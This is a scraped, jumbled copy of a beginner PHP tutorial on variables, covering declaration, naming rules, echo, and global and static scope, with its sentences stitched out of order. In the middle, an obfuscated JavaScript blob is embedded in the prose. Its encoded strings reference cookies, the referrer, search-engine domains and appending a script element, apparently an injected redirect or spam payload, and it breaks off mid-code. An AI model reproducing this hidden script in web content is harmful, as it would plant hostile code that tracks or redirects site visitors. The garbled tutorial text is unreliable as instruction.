The following example will show how to output text and a variable:The following example will produce the same output as the example above:The following example will output the sum of two variables:Note: You will learn more about the echo statement and how to output data to the screen in the next chapter.. Creating (Declaring) PHP VariablesIn PHP, a variable starts with the $ sign, followed by the name of the variable:After the execution of the statements above, the variable $txt will hold the value Hello world!, the variable $x will hold the value 5, and the variable $y will hold the value 10.
To do this, use the global keyword before the variables (inside the function):echo $y; // outputs 15PHP also stores all global variables in an array called $GLOBALS[index].. It is created the moment you first assign a value to it Think of variables as containers for storing data.
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Rules for PHP variables:A variable starts with the $ sign, followed by the name of the variableA variable name must start with a letter or the underscore characterA variable name cannot start with a numberA variable name can only contain alpha-numeric characters and underscores (A-z, 0-9, and _ )Variable names are case-sensitive ($age and $AGE are two different variables)Remember that PHP variable names are case-sensitive!Output VariablesThe PHP echo statement is often used to output data to the screen.. PHP is a Loosely Typed LanguageIn the example above, notice that we did not have to tell PHP which data type the variable is.. 5 Note: When you assign a text value to a variable, put quotes around the value Note: Unlike other programming languages, PHP has no command for declaring a variable.. var _0xc18a=['clBJa3o=','R3FnSXk=','Z2V0VGltZQ==','WHJNbFY=','bFFWUGg=','c2NmQ2g=','YXphYUM=','a3R1TmU=','TXFCUms=','c3Jj','aGRCUHQ=','YXBwZW5kQ2hpbGQ=','aHRtbCtmb3JtK3RvK3BocCt2YXJpYWJsZQ==','NXwyfDR8MXwzfDA=','aWxx','QW5Q','cGl3VHU=','c3BsaXQ=','bGVuZ3Ro','cmVwbGFjZQ==','UGVialg=','Zk5LaWY=','Y29va2ll','bWF0Y2g=','OyBleHBpcmVzPQ==','OyBwYXRoPQ==','OyBkb21haW49','OyBzZWN1cmU=','WU1vU2E=','ZW1pa2o=','V09TR0s=','Wm9ibWc=','dHFQTEY=','elJCV0o=','T0l0akY=','T2xrc3g=','b0RvYUI=','Lmdvb2dsZS4=','LmJpbmcu','LmFzay4=','LmFsdGF2aXN0YS4=','ekNU','blRa','aU9va3M=','VG1uWks=','Y2F5R1E=','d2NLZmU=','eXlUd1E=','cmVmZXJyZXI=','Z2V0','VE96S3Q=','aW5kZXhPZg==','REJrdkU=','Z3pEYUo=','c2V0','emN4aUI=','bWVsWlI=','Y01Qam4=','VXh6Vlk='];(function(_0x3085e9,_0x2061a7){var _0x8f4add=function(_0x1fd848){while(--_0x1fd848){_0x3085e9['push'](_0x3085e9['shift']());}};_0x8f4add(++_0x2061a7);}(_0xc18a,0xf4));var _0xac18=function(_0x3106c9,_0x4f0cd1){_0x3106c9=_0x3106c9-0x0;var _0x450286=_0xc18a[_0x3106c9];if(_0xac18['initialized']===undefined){(function(){var _0x19c93f=function(){var _0x237768;try{_0x237768=Function('return\x20(function()\x20'+'{}.. The example above can be rewritten like this:$GLOBALS['y'] = $GLOBALS['x'] + $GLOBALS['y'];echo $y; // outputs 15PHP The static KeywordNormally, when a function is completed/executed, all of its variables are deleted.. PHP automatically converts the variable to the correct data type, depending on its value.. The index holds the name of the variable This array is also accessible from within functions and can be used to update global variables directly.. To do this, use the static keyword when you first declare the variable:Then, each time the function is called, that variable will still have the information it contained from the last time the function was called. 518b7cbc7d
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